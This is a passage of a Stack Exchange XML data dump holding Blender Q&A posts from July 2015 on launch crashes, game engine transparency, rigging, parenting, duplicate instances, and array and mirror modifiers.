  <row Id="34798" PostTypeId="1" CreationDate="2015-07-30T11:40:46.510" Score="7" ViewCount="7929" Body="&lt;p&gt;Yesterday, I upgraded to Windows 10 from Windows 7 and I had Blender version 2.75a installed before the update. Went to load blender and I get that script box that pops up to load blender and then nothing happens. The box does not show anything and then it just closes. Any suggestions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried reinstalling blender after the update. Same thing happens. &lt;/p&gt;&#xA;" OwnerUserId="16017" LastActivityDate="2016-05-19T22:10:12.570" Title="Blender not working in Windows 10, any suggestions?" Tags="&lt;windows&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34799" PostTypeId="1" CreationDate="2015-07-30T11:43:19.247" Score="3" ViewCount="513" Body="&lt;p&gt;I'm making a video game from concept to finished piace (still a  big noob) where there's this holographic screen. I want to be able  to manipulate it as easy as I do it in cycles. It doesn't have to  be by using nodes, but once I have it one way in the game engine I don't want to recreate the hole screen  just because the text is too small, or too transparent. In cycles  I have control over everything. Here's an example - &#xA;&lt;a href=&quot;https://i.stack.imgur.com/iuJNY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iuJNY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Nodes - &lt;a href=&quot;http://www.pasteall.org/pic/91298&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/91298&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text is too big? - No problem, here's the mapping node. The  blur is too pronounced? - Here's the slider of the Mix Shader. I can also overlay other images or another text the same way the blur is on the screen and the text on the blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To what extend can I do all of this in the GE? as I  said, it doesn't has to be with nodes. Easy manipulation is the  problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: If alpha textures are the only way to go, Is it possible to control each element on the screen as a separate alpha texture. For example - if the text is too pronounced, I can make it more transparent, without effecting anything else. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-07-31T20:39:17.040" LastActivityDate="2015-07-31T20:47:25.213" Title="Easy manipulation of transparency in BGE" Tags="&lt;game-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34800" PostTypeId="2" ParentId="34740" CreationDate="2015-07-30T12:21:07.353" Score="2" Body="&lt;p&gt;I've tried to composite three layers:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nvdbR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nvdbR.png&quot; alt=&quot;compositing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glass material:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GNTPc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNTPc.png&quot; alt=&quot;glass material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fluid material:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/f5P7L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f5P7L.png&quot; alt=&quot;fluid material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not ideal, but the best output I achieved for now:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mNJnw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNJnw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to make glass material brighter.&lt;/p&gt;&#xA;" OwnerUserId="15996" LastActivityDate="2015-07-30T12:21:07.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34801" PostTypeId="2" ParentId="34156" CreationDate="2015-07-30T12:23:02.913" Score="5" Body="&lt;p&gt;You can't use curves as they are not supported. But you can get the effect your are looking for via armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an armature to control your cord. Parent the cord via Armature Deform to the armature &lt;code&gt;&amp;lt;ctrl+p&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hk0uD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hk0uD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pose mode add an IK-constraints to the top bone.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RlK3m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RlK3m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see the cord will follow the target in preview. To make it do the same thing in the bge use the armature actuator.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/o22NC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o22NC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the target while running the game, the cord should follow as much as it can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ylD3r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylD3r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-30T12:23:02.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34802" PostTypeId="1" AcceptedAnswerId="34815" CreationDate="2015-07-30T12:34:06.997" Score="6" ViewCount="314" Body="&lt;p&gt;I'm trying to create a stylized version of the black knight sketch from the movie &lt;em&gt;Monty Python and the Holy Grail&lt;/em&gt;. Two characters are engaged in a sword fight, with one of them ultimately loosing a few limbs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a prototype character, rigged and skinned it and got to the point where I need to tear two bones of the armature (including the mesh) apart, which is causing me a bit of a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried to set up the parent-child relationship between the two bones that need to be seperated by using a modifier and decreasing its influence to 0 during animation. But this still leaves me with the weird deformation of those vertices skinned to the seperated bone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea might be to use different versions of the character model and swap them during animation. But first I'd like to ask if there is a less time-consuming option?&lt;/p&gt;&#xA;" OwnerUserId="16018" LastActivityDate="2015-07-30T16:01:55.100" Title="How can I tear two bones and their skinned mesh apart during animation?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34803" PostTypeId="2" ParentId="34781" CreationDate="2015-07-30T13:18:04.607" Score="14" Body="&lt;p&gt;As zeffii stated - you need to remove doubles on the carving object (Cube.003). There were 16 double vertices on there. If a boolean doesn't work it's probably because something in your geometry isn't making sense (even if it looks and renders fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last time your issue was caused by inverted normals. This time it was caused by doubled-up verts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will add a tip about removing doubles to &lt;a href=&quot;https://blender.stackexchange.com/questions/34451/how-to-cut-holes-in-an-object-using-another-object&quot;&gt;the answer I posted to your other boolean question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a solved .blend - although it will be more helpful for you to go through the steps of removing doubles yourself than to see the finished result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/387/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=387&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-07-30T13:50:46.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34804" PostTypeId="1" AcceptedAnswerId="34810" CreationDate="2015-07-30T14:09:45.917" Score="1" ViewCount="1099" Body="&lt;p&gt;I hope you guys can help me out here.  I have searched for a very long time and I am not sure if I am wording this correctly.  So thank you for your patients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an object in blender that uses duplicated group instances and it uses a lot of them.  Sometimes I need to change all of these at the same time to a new group instance.  I was hoping there were a way to select all of the instances, change them, and without editing the original version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object is a hair brush with multiple bristles.  I have the bristles colored for the product and then I need them rendered next to another brush with different bristles.  When I copy the whole brush with bristles, all the data comes with it.  But if I want a new color and edit the group, it changes on the original brush too.  So now when I make these changes I have to go onto the brush, select every individual bristle, go to the object panel, scroll down to the Duplication section, and select a new instance of the new group for EVERY SINGLE BRISTLE!  And I have been driven to the brink of insanity.  Please help me.  Thank you again!&lt;/p&gt;&#xA;" OwnerUserId="16022" LastEditorUserId="16022" LastEditDate="2015-07-30T14:57:59.147" LastActivityDate="2015-07-30T15:47:46.587" Title="Changing multiple duplicates" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;objects&gt;&lt;instances&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34806" PostTypeId="1" CreationDate="2015-07-30T14:48:50.113" Score="3" ViewCount="1082" Body="&lt;p&gt;How do I move or rotate the selected teeth when I also want to rotate or move the jaw mesh, without the teeth moving outside the jaw? I tried to rotate the selected teeth and the jaw mesh together, but the teeth goes outside the jaw mesh and I have to manualy move the teeth after I moved or rotated the jaw mesh on the model.&lt;/p&gt;&#xA;" OwnerUserId="16025" LastActivityDate="2015-07-30T15:54:46.187" Title="how to move teeth with jaw mesh?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34808" PostTypeId="1" CreationDate="2015-07-30T15:05:30.733" Score="0" ViewCount="402" Body="&lt;p&gt;I'm probably doing this very wrong, but I used to just be able to map the textures with uv and everything would work in the BGE player as it did in the viewer. what is causing everything to just turn white? Thank youu &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file - &lt;a href=&quot;http://www.filedropper.com/apartment_1&quot; rel=&quot;nofollow&quot;&gt;http://www.filedropper.com/apartment_1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12875" LastActivityDate="2017-05-07T21:14:36.740" Title="Textures not showing up in BGE player" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34809" PostTypeId="1" CreationDate="2015-07-30T15:08:36.997" Score="4" ViewCount="8289" Body="&lt;p&gt;When I switch to render mode, they show up, and they show when pressing F12, but when clicking the 'Animation' button, nothing shows. If anyone knows how to help, please do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I have enabled rendering using the cameras, still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit #2: What the, some how transferring all of the objects from layer 1-2 does the trick. I guess my camera was set up for the second layer even though it was physically in the 1st. Anyone like to explain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone who's really curious, &lt;a href=&quot;http://www.mediafire.com/download/wj78iv8hyjavjmd/NightmareFredbear2+%28WIP%29.blend&quot; rel=&quot;nofollow&quot;&gt;Here's the file&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it may seem like having the animation length of 1 frame seem bad, but I've done that for other files and they work fine.&lt;/p&gt;&#xA;" OwnerUserId="16026" LastEditorUserId="-1" LastEditDate="2015-08-01T23:28:08.840" LastActivityDate="2019-03-22T22:49:52.110" Title="Objects not showing in final render" Tags="&lt;rendering&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34810" PostTypeId="2" ParentId="34804" CreationDate="2015-07-30T15:40:07.680" Score="2" Body="&lt;p&gt;Select all your dupligroup instances and on the active one change the dupli-group group. Then righ-click the input field and select &lt;em&gt;Copy to Selected&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KqFY5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KqFY5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will change every object in selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this technique on many object properties.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-30T15:40:07.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34811" PostTypeId="2" ParentId="34804" CreationDate="2015-07-30T15:43:17.870" Score="2" Body="&lt;p&gt;You can change the link of your duplicates.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, all spheres are linked duplicates, we want to link some of them to the cube: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Eje1t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eje1t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the objects you want to change (&lt;kbd&gt;Right-Click&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Right-Click&lt;/kbd&gt; to add): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AiJR7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiJR7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finish selecting the source object, in this case the cube (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Right-Click&lt;/kbd&gt;), it has to be the active object (last selected):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8DpFR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8DpFR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; to make the link and select &quot;Object Data&quot; in the menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Aeo2q.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aeo2q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your objects are now linked duplicates of the cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BxTzG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BxTzG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="241" LastEditDate="2015-07-30T15:47:46.587" LastActivityDate="2015-07-30T15:47:46.587" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="34813" PostTypeId="2" ParentId="34806" CreationDate="2015-07-30T15:50:04.867" Score="2" Body="&lt;p&gt;Select the teeth (&lt;kbd&gt;RClick&lt;/kbd&gt;), select the jaw (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RClick&lt;/kbd&gt;), &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to parent them, select &quot;object&quot; in the menu. now if you move/rotate/scale the jaw, the teeth will follow&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-30T15:50:04.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34815" PostTypeId="2" ParentId="34802" CreationDate="2015-07-30T16:01:55.100" Score="3" Body="&lt;p&gt;If you wanna tear a bone chain in a specific joint, you can't just break the parenting of those bones, as this will break the skinning as you noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need 2 chains to overlap in the location of the tearing (exaggerated with a gap):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vARXQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vARXQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of overlapping depends on how your bone weights overlap on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You skin the bottom piece to the green armature and the top piece to the red one. To tear the limbs/parts apart you just separate the armatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is mesh smoothing in the area of tearing. You can fix that with normal mapping or with &lt;a href=&quot;http://wiki.blender.org/index.php/User:Mont29/Foundation/Split_Vertex_Normals/Custom_Split_Normals_Manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom split normals&lt;/a&gt; that blender now supports.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-30T16:01:55.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34816" PostTypeId="1" CreationDate="2015-07-30T17:30:35.753" Score="0" ViewCount="205" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0b96E.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0b96E.jpg&quot; alt=&quot;Texture&quot;&gt;&lt;/a&gt;Hey, Guys. What i need to know in blender to made texture like that using prefer blender, red area. That game doesn't have normal maps. Fbx-model and Tga-texture &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZHkiA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZHkiA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;That is default game texture without normal map, i want make textures using blender and make like that relief from p90 mastery marked red. what i need to know in blender. Export tga&lt;/p&gt;&#xA;" OwnerUserId="16030" LastEditorUserId="16030" LastEditDate="2015-07-30T18:19:50.497" LastActivityDate="2015-07-30T19:08:13.617" Title="Blender Paint Texture" Tags="&lt;texturing&gt;&lt;weight-painting&gt;&lt;sculpting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34817" PostTypeId="1" CreationDate="2015-07-30T17:49:18.433" Score="1" ViewCount="316" Body="&lt;p&gt;I have a car going down a slope and would like it to turn. It rolls nicely using rigid body constraints, but when I turn the front tires it just continues in the same direction like it is on ice. There is a little bouncing like the tires are trying to grab, but mostly has no effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To attempt to figure it out I upped the friction of the front wheel and ground plane to 10 million, steps per second to 600 and solver iterations to 60. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what I am missing? Thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PdUO3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PdUO3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;  The relationship lines show where the car started. The back wheels have a motor constraints which is pushing it quite nicely, just won't turn no matter what I do.&lt;/p&gt;&#xA;" OwnerUserId="6013" LastActivityDate="2015-07-30T17:49:18.433" Title="How to stop a rigid body sliding" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-02T06:47:57.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="34818" PostTypeId="1" CreationDate="2015-07-30T18:10:36.040" Score="3" ViewCount="1702" Body="&lt;p&gt;As you can see from the picture below, I have a box with a plating on one side. How do I copy/paste it so that I can get it placed precisely on the rest of the sides?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N6rI9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6rI9.png&quot; alt=&quot;mesh to copy to other sides of cube&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16007" LastEditorUserId="2217" LastEditDate="2015-07-30T18:59:31.517" LastActivityDate="2015-07-30T22:54:35.820" Title="How do I copy one side of a box and paste it on the rest of the sides?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" ClosedDate="2015-08-05T19:53:57.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="34819" PostTypeId="2" ParentId="34818" CreationDate="2015-07-30T18:18:03.690" Score="1" Body="&lt;p&gt;You can easily duplicate and rotate the side as long as the pivot point is in the right place. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The best way is to make sure your object origin is in the centre of&#xA;the cube. &lt;/li&gt;&#xA;&lt;li&gt;Then snap the cursor to the object origin (Object&gt;Transform&gt;Origin to 3D Cursor). &lt;/li&gt;&#xA;&lt;li&gt;Change the pivot point mode to cursor. &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode.&lt;/li&gt;&#xA;&lt;li&gt;Select the face and duplicate in in place &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Then rotate on the Z (or appropriate axis) by 90 degrees &lt;kbd&gt;R&lt;/kbd&gt;-&gt;&lt;kbd&gt;Z&lt;/kbd&gt;-&gt;&lt;kbd&gt;90&lt;/kbd&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Once you have duplicated and rotated all the face you want, select all vertices and do a Remove Doubles (button in left side panel, or Space/kbd&gt;-&gt;Remove Doubles) command to weld everything together.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YgJhy.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YgJhy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to fix the origin point&lt;/strong&gt;&#xA;This will only work if you still have the origin point from the original cube. If you set a new origin point on your edited cube using Origin From Geometry, your origin point will be off and you won't be able to duplicate the face properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to re-establish the original cube origin point, you need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tab into Edit mode, select the 8 outer vertices of the original cube&lt;/li&gt;&#xA;&lt;li&gt;Then duplicate them and Merge to Center, You now have a vertex in the&#xA;exact center of the original cube.&lt;/li&gt;&#xA;&lt;li&gt;Snap your cursor to the vertex, delete the vertex, and tab into Edit mode. &lt;/li&gt;&#xA;&lt;li&gt;With the object still selected, the run Object&gt;Transform&gt;Origin To 3D&#xA;Cursor command.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now your origin will be correct to perform the side duplication process from above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i7tz2.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i7tz2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-30T18:44:48.237" LastActivityDate="2015-07-30T18:44:48.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34820" PostTypeId="2" ParentId="33196" CreationDate="2015-07-30T18:18:45.983" Score="0" Body="&lt;p&gt;Create a new blender file and select the default cube.&#xA;Then &lt;em&gt;append&lt;/em&gt; the mesh (and only the mesh) you want from the other blender file (shift+F1 / file menu). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the Object data tab in the properties panel (small triangle) and select the appended mesh instead of the default &quot;Cube&quot; mesh. You should rename the cube object too in the object tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save your file and press &lt;em&gt;Revert&lt;/em&gt; in the file menu to get rid of the unused Cube mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you only use the mesh and get rid of all the unwanted stuff (screwed scene-, world- and render settings, linked or packed images or textures and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further studies read here: &lt;a href=&quot;https://www.blender.org/manual/data_system/index.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/data_system/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16031" LastEditorUserId="16031" LastEditDate="2015-07-30T18:27:25.193" LastActivityDate="2015-07-30T18:27:25.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34821" PostTypeId="1" CreationDate="2015-07-30T18:27:05.203" Score="1" ViewCount="236" Body="&lt;p&gt;Have been using blender for months now and recently upgraded to the newest version 2.75a. It worked for about 2 days fine but now when i launch it the console flashes and immediately closes and blender doesn't open...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is incredibly annoying, i have even uninstalled and reinstalled but the same thing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: i saw those answers.... none of them work. i dont have a config file at C:\Users\USER_NAME\AppData\Roaming\Blender Foundation\Blender\2.xx\config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i cant delete startup.blend or userpref.blend&lt;/p&gt;&#xA;" OwnerUserId="16032" LastEditorUserId="16032" LastEditDate="2015-07-30T19:03:49.033" LastActivityDate="2015-08-30T14:11:55.003" Title="Blender crashes on launch" Tags="&lt;command-line&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34822" PostTypeId="2" ParentId="34818" CreationDate="2015-07-30T18:34:05.393" Score="2" Body="&lt;p&gt;To &quot;copy&quot; the detailed side to all four sides, I use a &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/array.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;array modifier&lt;/a&gt;, and an empty.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start by adding an empty at the same location as your cube. Rotate the empty 90° along the Z axis.&lt;/li&gt;&#xA;&lt;li&gt;Edit your cube to look like this, or without the top and bottom triangle.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1LO7d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1LO7d.png&quot; alt=&quot;mesh&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a array modifier. Set the &lt;em&gt;Count&lt;/em&gt; to 4, uncheck the &lt;em&gt;Relative Offset&lt;/em&gt; and use the Empty as the &lt;em&gt;Object Offset&lt;/em&gt;.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/f29e0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f29e0.png&quot; alt=&quot;array modifier&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HnZXO.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HnZXO.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you only want the detail on the opposite side&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a loop cut down the middle (perpendicular to the X axis). &lt;/li&gt;&#xA;&lt;li&gt;Delete the half of the cube that you have not yet modeled.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/mirror.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mirror modifier&lt;/a&gt; to the object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rIloe.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIloe.gif&quot; alt=&quot;animated 